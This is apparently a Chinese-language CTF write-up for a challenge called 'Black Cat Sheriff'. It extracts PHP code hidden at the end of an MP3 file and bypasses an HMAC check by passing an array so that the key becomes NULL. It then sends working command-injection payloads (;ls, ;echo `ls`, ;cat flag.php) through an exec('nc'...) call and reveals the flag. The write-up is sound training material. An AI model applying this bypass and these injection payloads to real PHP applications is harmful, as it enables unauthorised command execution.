shng


[CTF] [黑猫警长]解题笔记

考察点

分析

网站中只有一个黑猫警长的性感写真和一个播放器,简单查看一下源代码发现一行注释:

</header>
<!--都说听听歌了!-->
谁!竟敢踩我一只耳的尾巴!

那就下载歌曲下来看看里面有什么吧..

下载完用Winhex打开分析一下,文件的尾部发现了PHP的代码。

image-20201226002627208

把代码提取出来分析:

if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
    die('谁!竟敢踩我一只耳的尾巴!');
}
$clandestine = getenv("clandestine");
// 获取环境变量clandestine
if(isset($_POST['White-cat-monitor']))
    $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);
// 生成带有密钥的哈希
// hash_hmac ( string $algo , string $data , string $key [, bool $raw_output = false ] ) : string
// algo 	  哈希算法名称 
// data 	  要进行哈希运算的消息
// key  	  使用 HMAC 生成信息摘要时所使用的密钥
// raw_output 设置为 true 输出原始二进制数据, 设置为 false 输出小写 16 进制字符串
$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);
if($hh !== $_POST['Black-Cat-Sheriff']){
    die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');
}
echo exec("nc".$_POST['One-ear']);

大概就是要想办法求出clandestine的值,让传入的Black-Cat-Sheriff与加密后的One-ear相同,从而执行下面的命令。然后nc弹shell拿flag。但是想了半天不知道该怎么办,于是从网上寻找方法(找师傅们的wp)。然后发现一个神奇的数组,当在$data处传进去数组的时候,clandestine即密钥会被置为NULL,这样便绕过了加密。

image-20201226122224809

剩下的就是命令构造,命令执行,可以用;截断它的命令

image-20201226122112759

string(64) "67f5ea2e063353fe3a219e35fa13c15cbf73df6fc6cb89fa0c2eecb50a7d027e"

这样就可以拼出payload

Black-CatSheriff=67f5ea2e063353fe3a219e35fa13c15cbf73df6fc6cb89fa0c2eecb50a7d027e&One-ear=;ls&White-cat-monitor[]=0

image-20201226123653335

命令执行了,但是没有发现flag在哪里。八嘎!

后来看了wkrwp,然后自己测试了一下,发现echo exec(ls);只返回一个值,所以这里只有一个vendor,应该把语句换成;echo `ls` 这样就能显示出目录了。

image-20201226130100978

命令换成;cat flag.php flag到手

flag:GWHT{y0u_mu3t_p@y_atTentiou_!0_lt}

豫ICP备20003564号-1 / shng